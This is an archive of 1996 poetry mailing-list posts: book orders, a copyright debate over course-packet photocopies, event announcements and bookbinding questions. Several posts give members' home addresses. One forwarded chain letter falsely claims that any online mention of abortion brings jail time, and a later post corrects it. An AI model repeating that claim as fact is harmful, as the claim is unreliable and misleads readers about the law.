ORDER TODAY. OK?! Just hit "R" on your mail program to reply to this message. I hope we can send a lot of you these great books.

James Sherry

↑ Index

417. Douglas Messerli
Re: ROOF BOOKS -- Special Offer
Thu 15 Feb 1996

James,

I'll take another copy each (for personal) of

ISLETS IRRITATIONS
YOU: THE CITY
RAIK

Bill me

DOUGLAS
6026 Wilshire Boulevard, Los Angeles, CA 90036
==========

At 11:44 AM 2/15/96 -0500, you wrote:
>ROOF BOOKS is making a SPECIAL OFFER
>
>to POETICS SUBSCRIBERS <<ONLY>>
>
>Poetics Subscribers may buy from the following list of ROOF BOOKS for
>$5 (Five Dollars) each. Minimum Order must be 3 (Three) Books. Postage is
>free. You must order by the end of February, 1996, to receive this offer.
>
>To order simply reply to this message with your name, shipping address,
>and the list of books you want.
>
>Roof Books will ship you the books, postage free with a stamped envelope
>and a bill. You send Roof a check.
>
>LIST OF SPEIAL OFFER ROOF BOOKS (you must order 3 books)
>
>Charles Bernstein, Islets/Irritations, 112p
>Ray DiPalma, Raik, 100p
>Erica Hunt, Local History, 80p
>Peter Inman, Criss Cross, 64p
>Jackson Mac Low, Representative Works, 360p

>Kit Robinson, Balance Sheet, 112p
>Leslie Scalapino, Objects in the Terrifying Tense..., 88p
>Fiona Templeton, You--The City, 150p
>Diane Ward, Human Ceiling, 76p
>
>There has been a lot of talk about the Internet. Let's see if it works.
>
>ORDER TODAY. OK?! Just hit "R" on your mail program to reply to this
>message. I hope we can send a lot of you these great books.
>
>James Sherry
>

↑ Index

418. **Joe Amato**
Re: ROOF BOOKS -- Special Offer
Thu 15 Feb 1996

---

james, i'll bite... here's my picks:

> *Erica Hunt, Local History, 80p*
> *Jackson Mac Low, Representative Works, 360p*
> *Fiona Templeton, You--The City, 150p*

to

joe amato
5040 s. woodlawn ave. #3N
chicago, il 60615

thanx!...

looking forward//best,

joe

↑ Index

419. **Douglas Messerli**
Re: ROOF BOOKS -- Special Offer
Thu 15 Feb 1996

James,

You might want to redirect your replies
so that they come to you, not to the
whole Poetics list.

Douglas

==========
At 11:45 AM 2/15/96 -0600, you wrote:
>james, i'll bite... here's my picks:
>
>>Erica Hunt, Local History, 80p
>>Jackson Mac Low, Representative Works, 360p
>>Fiona Templeton, You--The City, 150p
>
>to
>
>joe amato
>5040 s. woodlawn ave. #3N
>chicago, il 60615
>
>thanx!...
>
>looking forward//best,
>
>joe
>

↑ Index

420. **Chris Stroffolino**
Re: (C) up for grabs
Thu 15 Feb 1996

Well--I think it's as good news for writers as for teachers, unless they also happen to be anthologists or publishers---
I mean, WHO really gets money from writing poetry? (aside from SPARROW I mean)---It helps get the work out there, in ways anthologists and anthologies don't.....
let's
hear it for little privately owned photocopy places!
cs.

↑ Index

421. **Gabrielle Welford**
Re: Poetry Sightings
Thu 15 Feb 1996

Aaaaaaah! I can't stand it that I'm missing all these wonderful readings!
Gabrielle

Hi Shaunanne. Where have we been? I'm sending ya.

↑ Index

422. Daniel Winston Jones
Re: ROOF BOOKS -- Special Offer
Thu 15 Feb 1996

---

i'd like copies of:
inman
dipalma
scalapino
templeton

dan jones
2006 stadium rd #4
charlottesville va 22903

one of each will suffice.

thanks

d.jones

↑ Index

423. Carl Lynden Peters
Re: ROOF BOOKS -- Special Offer
Thu 15 Feb 1996

---

james,

i'll take:

islets/irritations
local history
objects in the terrifying tense

much thanks for this --

carl peters
dept. of english
simon fraser university
burnaby, bc
V5A 1S6

↑ Index

424. Daniel Bouchard
Re: (C) up for grabs
Thu 15 Feb 1996

> *I mean, WHO really gets money from writing poetry?*

Evidently: Kinko's, Copy Cat, Copies 'R Us, Smith of Michigan, et al -- not their own poetry, of course. . .

[redacted]

↑ Index

425. jeffrey timmons
Re: write that boy
Thu 15 Feb 1996

On Wed, 14 Feb 1996, Maria Damon wrote:

> *jt rites*
> *and how about contingent essentialism?*
> *i like it, have nothing to say tho', use it in a*
> *sentence.*

its
like
you know
something analogous to Adrienne Rich's "wild patience."
Lets see
a sentence
[oh
ive been thinking too about this word sentence--
in itself it seems to contain this essentialist/constructivist dichotomy
in its very resonances:
the word
suggests the confines and liberation of language] . . . .
In the space described by Foucault--
of the subject engendered by
language
discursive formations
[the face drawn in the sand]--
there is a need to reflect both the need/desire/efficacy of having
recourse to the materiality of the body but a complementary--
and no less imperative need/desire/efficacy--
to recognize the limitations/determinations
[ideological/political/physiological] of materiality

to reserve the possibility of the body's contingency
its dependence on the materiality of language for its constitution.

The sauve writing-subject
aware of the blind spots of essentialism and constructivism
(everyone say Judith Butler)
manifests a strategic essentialism
(as chris noted: spivak)--
or as us do-i-contradict-myself-very-well sorts: contingent essentialism.

was that a sentence. darn it. i had the best intentions, too!

↑ Index

426. **Ryan Knighton**
Re: writing the body
Thu 15 Feb 1996

Oh yeah, Nancy Mairs' _Remembering the Bonehouse_.
The erotics of space and place: the same feel you find
in O'Hara, I think.

↑ Index

427. **Charles Watts**
Capilano Review festschrift for Blaser
Thu 15 Feb 1996

A correction to that announcement I made yesterday: the launch begins at 7 p.m. It's at the Vancouver Press Club, 2215 Granville Street, Vancouver. Readers at the launch include George Bowering, Colin Browne, Deanna Ferguson, George Stanley, Catriona Strang and Francois Houle, Sharon Thesen, and Robin Blaser.

Best,

Charles Watts

↑ Index

428. **Steve Carll**
Re: writing the bod
Thu 15 Feb 1996

At 03:27 PM 2/13/96 EST, Henry Gould wrote (among too many other things for me to go into here!):

> *What is the physiology of talk - especially high-tech written talk (i.e. what we're engaged in on this list) - or does such a physiology even exist?*

The physiology exists--but, as Brian Eno notes in the April '95 issue of _Wired_, at present it's really limiting. The way the human body interacts with the computer is limited to eyes and fingers for the most part, and there's a huge, mostly untapped potential to make using a computer more physically liberating via integrating gestural communication, voice-interaction, and so on.

> *And has talk, discourse, poetics, textuality, etc. replaced poetry?*

I would say such things have *always* been replacing poetry, but to the extent that they can't substitute for the essence of it, poetry continues to break through what covers it. One of my favorite parts of Deleuze and Guattari's _What is Philosophy_ is the following:

"In a violently poetic text, Lawrence describes what produces poetry: people are constantly putting up an umbrella that shelters them and on the underside of which they draw a firmament and write their conventions and opinions. But poets, artists, make a slit in the umbrella, they tear open the firmament itself, to let in a bit of free and windy chaos and to frame in a sudden light a vision that appears throughthe rent--Wordsworth's spring or Cezanne's apple, the silhouettes of Macbeth or Ahab. Then come the crowd of imitators who repair the umbrella with something vaguely resembling the vision, and the crowd of commentators who patch over the rent with opinions: communication. Other artists are always needed to make other slits, to carry out necessary and perhaps ever-greater destructions, thereby restoring to their predecessors the incommunicable novelty that we could no longer see. This is to say that artists struggle less against chaos (that, in a certain manner, all their wishes summon forth) than against the "cliches of opinion."

> *& I wonder what the meaning of "eros" really is in the universe of techno-talk-babble. An image of an image of an image.*

Well, we've got a double-edged (s)word here, meaning-wise: eros may everywhere be subject to the reductive tendencies of local representations (adult BBS's and so forth), but there's as it were another eros that can't be pinned down by this process of representation that can at any moment slip in and create the "shattering realization", so to speak, the sublime.

Steve

↑ Index

429. **Jackson Mac Low**
lost download of poetics digest for Feb 10-11, 1996
Thu 15 Feb 1996

I lost the download of the poetics digest for Feb. 10-11 1996. Can this be transmitted to me again. I sent this message also to listserv but it may be an automatic golem, so please some PERSON try to get this digest sent to me.

Jackson Mac Low [[redacted]]

↑ Index

430. **Sheila E. Murphy**
Re: ROOF BOOKS -- Special Offer
Thu 15 Feb 1996

James: I'd like to take advantage of your special offer, ordering the following books:

> *Peter Inman, Criss Cross, 64p*
> *Jackson Mac Low, Representative Works, 360p*
> *Fiona Templeton, You--The City, 150p*

Hope this note finds you thriving!

All best,

Sheila Murphy

3701 E. Monterosa #3
Phoenix, AZ 85018-4848
[redacted]
[redacted]

↑ Index

431. **Emily Lloyd**
Re: (C) up for grabs
Thu 15 Feb 1996

I agree with you, Chris. & add that I was first introduced to Michael Palmer & Hejinian in a "free" course packet o' xeroxes...and then immediately went out and bought whatever I could find of them. One can think of these things as the best advertisements for seducing those of us who don't have the money to walk into a bookstore & buy stuff sight unread (you don't want reviewers & critics to be all we have to go on, do you?). On the other hand, it's funny....all this talk in the past 20 years about the writer disappearing from the text...maybe the writer's *compensation* is the first to go...

if you can't be w/the one you write,
write the one you're w/
& other free love analogies-- (can one "write the body" of another?)

emily

At 01:22 PM 2/15/96 -0500, Chris Stroffolino wrote:
> Well--I think it's as good news for writers as for teachers, unless
> they also happen to be anthologists or publishers---
> I mean, WHO really gets money from writing poetry? (aside from
> SPARROW I mean)---It helps get the work out there, in ways
> anthologists and anthologies don't.....
> let's
>hear it for little privately owned photocopy places!
> cs.
>
>

↑ Index

432. **Peters, Mark**
Re: ROOF BOOKS -- Special Offer
Thu 15 Feb 1996

---

james,

thanks for the wonderful offer. i'll take:

islets/irritations
representative works
objects in the terrifying sense . . .

thanks--

mark peters
indiana state university
root hall, english dept.
terre haute, in 47809

↑ Index

433. **Henry Gould**
writing the bod (re: S. Carll response)
Thu 15 Feb 1996

Regarding "voicing" the computer, someone backchanneled a note to me pointing out that contemporary composers have some interesting things to say

on all this under the subject "compositional linguistics" (he mentioned Cage among others).

Enjoyed the Deleuze/Guattari quote, but I thought their emphasis on the artist as inspired destructor of conventions sounds a little old hat or over-emphasized in last 100 yrs. I would like to hear more about artist as absorber/responder/synthesizer; artist as gifted slowpoke rather than swift avantgardian nemesis avatar blah blah... - Henry Gould

↑ Index

434. ryan johnson
Fwd: Important & RIDICULOUS (fwd) -Forwarded -Forwarded (fwd)
Thu 15 Feb 1996

I HOPE MANY OF YOU WILL TAKE A MINUTE TO READ THIS FORWARDED MESSAGE AND EMAIL A MESSAGE, OF WHATEVER OPINION, TO THE PRESIDENT([redacted]). IF NOT (AND YES THIS IS SUPPOSED TO MAKE YOU FEEL GUILTY, AT LEAST A LITTLE)--IF NOT, I HOPE Y'ALL RECOGNIZE WHAT YOUR SILENCE WILL IMPLICITLY SUPPORT. --RYAN

---------- Forwarded message ----------
Date: Wed, 14 Feb 1996 11:37:05 -0800 (PST)
From: Deborah Anne Greenberg <[redacted]>
To: [redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted]
Subject: Fwd: Important & RIDICULOUS (fwd) -Forwarded -Forwarded (fwd)

Forwarded message:
>From [redacted] Wed Feb 14 09:17:34 1996
Date: Wed, 14 Feb 1996 11:22:57 -0500
From: "Alison G. Greenberg" <[redacted]>
To: [redacted]
Subject: Fwd: Important & RIDICULOUS (fwd) -Forwarded -Forwarded

Forwarded Mail received from: Alison G. Greenberg

Date: 02/12/1996 02:23 pm (Monday)
From: EDWARD MITREUTER
To: president, president1, president2, president4,
president3, president5, president6, president8,
president9
Subject: Fwd: Important & RIDICULOUS (fwd) -Forwarded

Date: Sun, 11 Feb 1996 22:36:13 -0600 (CST)
From: Nicole Terranova <[redacted]>

To: More Addresses <[redacted]>, [redacted],
[redacted], [redacted],
[redacted], [redacted],
[redacted], [redacted],
[redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted]
Subject: Fwd: Important & RIDICULOUS (fwd)

>>>>Yesterday, Feb. 1, 1996, Both houses of our congress passed a
>>>>telecommunications bill which had a provision in it making it illegalk to
>>>>Discuss ABORTION of all things on the Internet. That means that no web
>>>>sites, FTP sites, Gopher sites, OR E-MAIL MESSAGES (!!!) Can contaijn
any
>>>>reference to abortion. Not even in a clinical manner. A doctor is not
>>>>allowed to Email a patient with a recommendation on wether or not to
have
>>>>an
>>>>abortion. Wether or not you are for or against abortion does not matter,
>>>>abortion in itself is not the issue. The issue is the curtailing of
EVERY
>>>>AMERICANS FIRST AMENDMENT RIGHTS. Clinton has said that he
will sign
this
>>>>bill into law, possibly even today. The bill calls for jail time and
>>>>heavy
>>>>fines of ANYONE caught discussing abortion in any way on the net, even
in
>>>>the
>>>>international news groups.
>>>>
>>>>This is a horrible abuse of legislative power against the American
people,
>>>>and we can do something about it. Please, Write the president at
>>>>[redacted] , and let him know that you are outraged about
>>>>this
>>>>bill passing (if indeed you are outraged, which I sincerly hope you are.)
>>>> Also, mass forward this message to as many people as possible, anyone
you
>>>>know who uses the net. With this bill, and the development of the
>>>>Compuserve

>>>>Newsgroup blackout, our freedom on the net is being seriously curtailed.
>>>>Please help, and spread this message. Thank you

> *From Alexander Russell Warner Vassar, Class of '99*

↑ Index

435. Candace Leigh Pirnak
Re: writing the body
Thu 15 Feb 1996

,
>I second that last observation--I love Lispector's writing. I saw Cixous
>speak at UC Irvine about 6 years ago and found her very engaging, playful
>with language in a very conscious and opening way. I haven't read the Du
>Plessis or Howe books that make Cixous a "straw woman"--could someone
pass
>on a little more info on what the general objection seems to be?
>
>Thanks,
>Steve

Yes, please, more information on Howe and Du Plessis' ideas on Cixous. I've only read "Three Steps On the Ladder of Writing" and found it helpful and beautiful.

thanks
 Candace Pirnak

↑ Index

436. Charles Alexander
Re: (C) up for grabs
Thu 15 Feb 1996

> *Well--I think it's as good news for writers as for teachers, unless*
> *they also happen to be anthologists or publishers---*
> *I mean, WHO really gets money from writing poetry? (aside from*
> *SPARROW I mean)---It helps get the work out there, in ways*
> *anthologists and anthologies don't.....*
> *let's*
> *hear it for little privately owned photocopy places!*
> *cs.*

Also, while it might be bad for some publishers, I think that it is difficult to get information about books out to people who aren't already tuned into small press/poetics channels. So if someone wanted to copy a few to several pages out of a Chax book, I would see that as potentially a good marketing tool to interest students in the entire book. If someone on the other hand was copying a third of a book or so, then I wouldn't like it, but it seems like that would probably be more protected.

charles

↑ Index

437. Douglas Messerli

Re: (C) up for grabs

Thu 15 Feb 1996

Well Chris, several poets actually do get money from
their poetry, in fact anthology rights the ONLY significant
money they will get, and it will increase as their
careers develop and they are included in more anthologies
and textbooks.

Several Sun & Moon authors did receive payment for
the Norton anthology and have received money for
inclusion in others.

Moreover, I find that many academics use the xerox to
give a small little "sample" of work, without any
context of the poets' larger body of writing, which I strong
question pedagogically.

I should also add that using an anthology or book in your
course helps to support the existence of presses like
Sun & Moon.

So I don't at all agree with your glib statements.

Dougas Messerli

==========
At 01:22 PM 2/15/96 -0500, you wrote:
> Well--I think it's as good news for writers as for teachers, unless
> they also happen to be anthologists or publishers---
> I mean, WHO really gets money from writing poetry? (aside from
> SPARROW I mean)---It helps get the work out there, in ways
> anthologists and anthologies don't.....
> let's

>hear it for little privately owned photocopy places!
> cs.
>

↑ Index

438. **Gabrielle Welford**
Re: (C) up for grabs
Thu 15 Feb 1996

On Thu, 15 Feb 1996, Chris Stroffolino wrote:

> Well--I think it's as good news for writers as for teachers, unless
> they also happen to be anthologists or publishers---
> I mean, WHO really gets money from writing poetry? (aside from
> SPARROW I mean)---It helps get the work out there, in ways
> anthologists and anthologies don't.....
> let's
> hear it for little privately owned photocopy places!
> cs.
>
I think this is a really good point. What do we want, our huge royalties (who me, royalties?) or more people reading the work? Gab.

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439. **Daniel Bouchard**
In court today
Thu 15 Feb 1996

From the today's BOSTON GLOBE, J.W. Carney, the defense attorney for John Salvi:

"We represent the man who shot and killed Lee Ann Nichols and who shot and killed Shannon Lowney. The question you have to focus on in this trial is not what happened and not by whom did it happen, but why did it happen?"

While defending a sane man who killed two women in cold blood and wounded five other people, Carney has the disadvantage of 1) not being able to speak in clear sentences, and 2) not being able to discuss or read about the context of the case on the internet because it contains the "A" word.

* The former sentence is mine, not the GLOBE'S.

[redacted]

↑ Index

440. Charles Bernstein
!!How to!!Reply to::Re: ROOF BOOKS -- Special Offer
Thu 15 Feb 1996

Replies to the Roof Books Special Offer should be directed to [redacted]. Most mail systems should give you the option to send to the list ("reply to") or to the individual who posted the message ("from"), e.g., "backchannel". If you are not sure how to do this, send a new e-mail rather than using the "reply" option.

Questions about the list should be sent to [redacted] rather than to the whole list or to "listserv" or other UBVM addresses, which only respond to formula commands.

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441. Timothy Liu
Re: ROOF BOOKS -- Special Offer
Thu 15 Feb 1996

What a deal!

Sign me up for Bernstein, Mac Low and Scalapino.

↑ Index

442. Timothy Liu
Re: ROOF BOOKS -- Special Offer
Thu 15 Feb 1996

Dear James Sherry:

What a deal! Sign me up for Bernstein, Mac Low and Scalapino.

Timothy Liu
Box 8112
Cornell College
600 First St. W
Mt. Vernon, IA 52314

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443. David Kellogg
Re: ROOF BOOKS -- Special Offer
Thu 15 Feb 1996

James,

Sorry to have to send this message to the whole list. I lost yr original address.

> *Charles Bernstein, Islets/Irritations, 112p*
> *Ray DiPalma, Raik, 100p*
> *Leslie Scalapino, Objects in the Terrifying Tense..., 88p*
> *Diane Ward, Human Ceiling, 76p*

Please send these to the address below. Thnx.

Cheers,
David
~~~
~~~

445. **Loss Glazier**
EPC/Announcements/Conferences/Duncan
Thu 15 Feb 1996

Find details about this and other conferences at EPC Announcements!

THE OPENING OF THE FIELD
(Duncan Conference)

April 18-20th, 1996
Buffalo, New York

Poetics Program
SUNY at Buffalo

Thursday, April 18

Lecture: 2:30 pm - 3:30 pm
Robert J. Bertholf

Dramatic reading: 4:00 pm - 5:00 pm
"Adam's Way"

Reading: 7:30 pm - 10:00 pm
Susan Howe and Nathaniel Mackey

Friday, April 19

Panel: 10:00 am - 12:30 pm
Marjorie Perloff, Nathaniel Mackey and Joseph Conte

Panel: 2:30 pm - 5:00 pm
Robin Blaser, Susan Howe and Jerome McGann

Reading: 7:30 pm - 10:00 pm
Michele Leggott and Robin Blaser

Saturday, April 20

Panel: 10:30 am - 1:00 pm
Peter Quartermain, Michele Leggott and David Levi Strauss

Reception: 5:00 pm - 8:00 pm
64 Amherst Street
[redacted]

Persons wishing further information can call (716)
[redacted].

Those wanting help with hotel reservations should call

or write

before March 1, 1996:

Duncan Conference
Poetics Program
438 Clemens Hall
SUNY at Buffalo
Buffalo, NY 14260

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446. **Mark Nowak**
Re: miniapples
Thu 15 Feb 1996

Charles,

Thanks for up-to-date-info on Berssenbrugge & Kim readings. Also, intertwined that weekend for interested folks in the region...

Cross-Cultural Poetics presents:

George Kalamaras & Mary Ann Cain
reading: Thursday, March 7th, 12:00 noon
talks: Saturday, March 9th, 1:00-3:00pm
[George will be speaking on "'An Intimate Immensity': Poetry, Meditation, and the Rhetoric of Paradox," Mary Ann on "Heroes, Rites, and Rituals: A Feminist Rereading of the Mythos of the Writer."]

also...

Anselm Hollo
reading: Saturday, March 30th, 1:00pm

[All events are FREE of charge & take place at the College of St. Catherine Minneapolis, 601 25th Avenue South at Riverside Ave. Interested can e-mail for more info: [redacted]]

↑ Index

447. **mikl-em**
Re: Important + Ridiculous [abortion]
Thu 15 Feb 1996

---

dear all,

here is some information that I had been forwarded about the abortion-com restrictions. While certainly any move in the direction that the bill intends toward is frightening, this info shows that precedents, hopefully, will prevent

the new legislation from actually being enforced, [though e-mailling the whitehouse is probably still a very good idea] but I'll let you read for yourself...

--Todd Lappin-->.....
>From [redacted] Fri Feb 2 16:41:32 1996
Date: Fri, 2 Feb 1996 16:41:30 -0800 (PST)
To: [redacted]
From: [redacted] (--Todd Lappin-->)
Subject: Abortion Restriction Research

Here's what I've found out about the limitations on the dissemination of abortion materials contained within the telecom reform bill:

(The amended text of the Telecom Bill follows below, along with U.S.C. 18, Section 1462.)

Basically we're talking about a provision that extends a section of the US Code (The Comstock Act) prohibiting certain kinds of "obscene" speech to include "interactive computer services."

Schroeder's office ([redacted]) faxed me their position... they say that the changes "will criminalize a wide array of public health information relating to abortion, including discussion of RU-486 on the Internet." Perhaps, but...

Sam Stratman from Rep. Hyde's office ([redacted]) insists subsection (c) of Section 1462 has already been invalidated by the courts (although it remains on the books), so the extension of 1462 to include "interactive computer services" would have no bearing on abortion-related materials.

According to the Center for Reproductive Law & Policy ([redacted]), the last time ANY court has ruled on subsection (c) was in 1919... long before Roe v. Wade. They say the statute remains on the books, although it has long gone unenforced.

Steven Lieberman from the NY State Bar clarified things even further. Lieberman says that the prohibitions in subsection (c) against the dissemination of information about abortion were invalidated by the Supreme Court in Bigelow v. Virginia in 1975. (This was a case concerning the availablity of out-of-state abortion materials in the state of Virginia.) As for the prohibitions against any "drug, medicine, article, or thing designed, adapted, or intended for producing abortion"... these were invalidated by Roe v. Wade.

So, as Lieberman summarized the situation, "A prosecution under subsection (c) of Section 1462 would be doomed from the outset." Nevertheless, from a strictly formal standpoint, it appears that the prohibitions on abortion information are indeed in place... even if they are toothless.

--Todd Lappin-->
WIRED Magazine

---------- Sec. 507 of the Telecom Bill
Ammends Section 1462 of title 18 of the U.S. Code (Chapter 71), in ways which may make sending the following over the Internet illegal:

o any text, graphic, or sound that is lewd, lascivious, or filthy

o any information telling about how to obtain or make abortions and drugs, or obtaining or making anything that is for indecent or immoral use

Here is Section 1462 as Ammended:

(Telecom bill chnages in "<" and ">"):

Section 1462. Importation or transportation of obscene matters

Whoever brings into the United States, or any place subject to the jurisdiction thereof, or knowingly uses any express company or other common carrier <or interactive computer service (as defined in section 230(e)(2) of the Communications Act of 1934)>, for carriage in interstate or foreign commerce -

(a) any obscene, lewd, lascivious, or filthy book, pamphlet, picture, motion-picture film, paper, letter, writing, print, or other matter of indecent character; or (b) any obscene, lewd, lascivious, or filthy phonograph recording, electrical transcription, or other article or thing capable of producing sound; or (c) any drug, medicine, article, or thing designed, adapted, or intended for producing abortion, or for any indecent or immoral use; or any written or printed card, letter, circular, book, pamphlet, advertisement, or notice of any kind giving information, directly or indirectly, where, how, or of whom, or by what means any of such mentioned articles, matters, or things may be obtained or made; or Whoever knowingly takes <or receives>, from such express company or other common carrier <or interactive computer service (as defined in section 230(e)(2) of the Communications Act of 1934)> any matter or thing the carriage <or importation> of which is herein made unlawful -

Shall be fined not more than $5,000 or imprisoned not more than five years, or both, for the first such offense and shall be fined not more than $10,000 or imprisoned not more than ten years, or both, for each such offense thereafter.

Here is the text which addes the interactive computer service part in the Telecom Bill:

SEC. 507. CLARIFICATION OF CURRENT LAWS REGARDING COMMUNICATION OF OBSCENE MATERIALS THROUGH THE USE OF

COMPUTERS. (a) Importation or Transportation.--Section 1462 of title 18, United States Code, is amended--

(1) in the first undesignated paragraph, by inserting ``or interactive computer service (as defined in section 230(e)(2) of the Communications Act of 1934)'' after ``carrier''; and

(2) in the second undesignated paragraph--
(A) by inserting ``or receives,'' after ``takes'';
(B) by inserting ``or interactive computer service (as defined in section 230(e)(2) of the Communications Act of 1934)'' after ``common carrier''; and
(C) by inserting ``or importation'' after ``carriage''.

Media Notes:

USAToday 02/01/96 - 07:37 PM ET
http://www.usatoday.com/news/washdc/ncs16.htm

Telecommunications deregulation breaks down electronic walls

"At one point, the debate veered off on abortion.

Seeing a ''high-tech gag rule,'' Rep. Nita Lowey, D-N.Y., joined by Pat Schroeder, D-Colo., and several other women lawmakers, asserted the anti-pornography provisions would outlaw discussions about abortion over the Internet, the global computer network.

Rep Henry Hyde, R-Ill., a leading abortion foe, assured members that nothing in the bill suggested any restrictions on discussions about abortion."

Well, Henry Hyde was right - nothing in the bill suggests restrictions on abortion discussion - the restrictions are in Title 18 of the U.S. Code, which now includes computer networks.

Thanks to the Cornell Law School Legal Information Institute (http://www.law.cornell.edu/) and the Alliance for Competitive Communications (http://www.bell.com/) for source text.

-Thomas Edwards

---------- you have been reached by
[redacted] [michael mcelligott*citizen*]

↑ Index

448. **Charles Bernstein**

Johanna Drucker & M/E/A/N/I/N/G

Thu 15 Feb 1996

A full-scale essay on Johanna Drucker by Nick Piombino appears in M/E/A/N/I/N/G #18. Nick reviews five of Johanna's books (of all types).

This issue of M/E/A/N/I/N/G also features:

"Monstrous Domesticity" by Faith Wilding (on feminist art & its relationship to crafts)

"Brave New Art World": A Symposium on the NEA and Censorship with Lenore Malen, Irving Sandler, Michael Brenson, Debra Bricker Balken, Michi Itami

"Painting as Manual" by Mira Schor

and a wonderful article by Misko Suvokovic on Susan Bee's painting called "Painting after Painting"
& more!

M/E/A/N/I/N/G is edited by Susan Bee and Mira Schor

all for $6 or $12 for a subscription
MAIL to: Mira Schor 60 Lispenard St New York NY 10013

****

JOHANNA DRUCKER'S BOOKS are available from Granary Books, 568 Broadway #403, New York, NY 10012, [redacted].

These include:

Offset version of HISTORY OF THE WORLD $50

Simulant Portrait $25

The Visible Word: Experimental Typography and Modern Art (U. of Chicago Press) $35 (cloth only)

The Alphabetic Labyrinth: The Letters in History and Imagination (Thames & Hudson) $45 (cloth only)

& Granary own and Johanna's newest --

The Century of Artists Books ($35 cloth only)

Granary also has all other Drucker works avaialbe

[shipping $6 for first book $1.50 after; NY tax if app.]

****

I review The Visible Word in the new issue of Modernism/modernity (just out); the issue is available on-line to subscribing institutions and you can find my review at my home page at the epc (http://writing.upenn.edu/epc/authors) but access will probably be blocked if your internet account is not with a subscriber (eg a university).

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449. **Joseph Zitt**
(no subject)
Thu 15 Feb 1996

On 15 Feb 96 at 21:39, Charles Alexander wrote:

> *have it done. I generally recommend the final knot of the sewing being on the outside rather than the inside of the book. If anyone wants more detailed instructions I can give them, or you can pick up various books on bookbinding. One of the best is Keith Smith's Non-Adhesive Bindings.*

What kind of knot do you find works best? ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/<A HREF="http://www.realtime.net/~jzitt/">Joe Zitt's Home Page</A>\|

↑ Index

450. **Rae Armantrout**
Re: ROOF BOOKS -- Special Offer
Thu 15 Feb 1996

Dear James,

I'd like the books by DiPalma, Hunt and Ward.
This sure makes things easy.

Rae

↑ Index

451. **Kevin Killian**
Re: ROOF BOOKS -- Special Offer
Thu 15 Feb 1996

I don't understand why people aren't backchannelling these Roof Book personal messages.

Sending them to the whole list is rather rude.

Dodie

↑ Index

452. **Emily Lloyd**
Re: (C) up for grabs
Thu 15 Feb 1996

At 12:41 PM 2/15/96 -0800, Douglas Messerli wrote:
 I find that many academics use the xerox to
>give a small little "sample" of work, without any
>context of the poets' larger body of writing, which I strong
>question pedagogically.

Yet you don't question anthologies? I think the Norton Postmodern anthology is *extremely* guilty of such sampling (and pretty crappy, as anths. go. Why's it so much skinnier than all the other Nortons?). It is the *nature* of anthologies to do this. One of the (few) problems I had with _Poems for the Millenium_ was the reprint of only a few scant sections of Mina Loy's "Love Songs"---which lose a lot yanked out of the piece as a whole. It seems to me that the reason professors Xerox is so they can give students a LARGER sample than anthologies do. Otherwise, they'd just make us buy an anthology (certainly they don't go to the trouble of assembling packets to save us money).

Emily

↑ Index

453. **Jordan Davis**
Flaming Roof
Thu 15 Feb 1996

Contrary to what James Sherry said, you shouldn't just hit "r" to get the great deal on Roof Books. You should send mail to [redacted], capische?

Btw, James, in direct marketing, a 3% response is considered pretty great.. so I guess we can say the internet works?

Jordan

↑ Index

454. **Jackson Mac Low**
(no subject)
Thu 15 Feb 1996

---

 to bind books, esp. small ones in wch ,amu poems & small graphics are published these days. The most frequently used methods are "saddle-stitching" or more properly "saddle-wiring" [staples down the center of the book's middle

gutter crease] & "perfect" binding [that most IMperfect of bindings]. Stapels are unsightly, liable to rust, & apt to seize up & cut unwary readers. They also come loose at times, leaving the leaves to their own devices. Also when put in by "unprofessionals"--even gifted ones-- they made end up on one side or the toehr of the gutter crease. [Books in an otherwise excellent current series of chapbooks, beautifully designed & with a fine group of texts, occasionally have this as their only defect.] Also stapled books have no spines. So theyre no good to put on shelves unless you have a very exact memory for such things.

Perfect" bindings *do* have spines & no ugly & dangerous staples, but they fall apart sooner or later--usually sooner. I've been recently reading some paperbacks in my library, most of which were produced less than 2 decades ago--some longer ago, but not much. Some have their leaves patherically lying together within their heavier-paper covers, which are now mere folders. Others have all or most leaves still fastened to the spine, but as I read them, mnay or all loosen & separate, no matter how carefully I handle the books.

Some "quality paperbacks"--but by no means all--have signatures that are side-sewn or side-wired before being glued to the backs. [I doubt that many are "Smyth-sewn"--sewn down the middle of each signature--a method that aloows the pages to lie flat.] Such bindings are more nearly permanent than stapled or perfect bindings. However I know that such types of binding are costly & raise books' prices unduly.

Aren't there *any* better ways to bind books?

A publisher of one of my smaller books, of which the other copies are stapled, had a red thread or string sewn in the center gutter rather than placing staples there. This *seems* better. However, I'm told that even this is expensive abd that, unless the string or thread is acid-free or otherwise made to last, the books fall apart more quickly tahn stapled ones do.

As for larger books, are there any inexpensive ways to make their bindings more nearly permanent--I mean ways other than side-sewn or side-wired or simple "perfect" [ugh!] bindings? I'd appreciate any information listees may have on these matters.

Jackson Mac Low [for the time being, still "[redacted]" but I'll be sending a new e-address soon].

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455. **Douglas Messerli**

Re: (C) up for grabs

Thu 15 Feb 1996

Dear Emily Lloyd.

It may be that some professors have that desire--but then
why not let students read an entire book? or collection
of writers. Any smaller selection seems to me to help lead
students away from the idea of the book, and the book is
what I am passionately commited to.

Moreover, what you suggest has not been my experience, particulary when professors have asked for permissions to xerox. It's usually been one or two poems from Stein, or one or two poems from Hejinian, etc that they've requested.

That also wasn't my experience when I was a professor. Most others were teaching bits and pieces when they created their own xerox textbooks.

I am, quite obviously, not speaking of texts that are
unavailable in book form.

I will make no commnets on any anthology. One can only say that there are no perfect anthologies either, and that, yes, some do not give students a large enough selection of poetry to understand any given writer within the context of their own work or others. That's something I attempted to avoid in my own anthology.

Douglas

==========

At 07:02 PM 2/15/96 -0500, you wrote:
>At 12:41 PM 2/15/96 -0800, Douglas Messerli wrote:
> I find that many academics use the xerox to
>>give a small little "sample" of work, without any
>>context of the poets' larger body of writing, which I strong
>>question pedagogically.
>
>
>Yet you don't question anthologies? I think the Norton Postmodern anthology
>is *extremely* guilty of such sampling (and pretty crappy, as anths. go.
>Why's it so much skinnier than all the other Nortons?). It is the *nature*
>of anthologies to do this. One of the (few) problems I had with _Poems for
>the Millenium_ was the reprint of only a few scant sections of Mina Loy's
>"Love Songs"---which lose a lot yanked out of the piece as a whole. It
>seems to me that the reason professors Xerox is so they can give students a
>LARGER sample than anthologies do. Otherwise, they'd just make us buy an
>anthology (certainly they don't go to the trouble of assembling packets to
>save us money).
>

>Emily
>

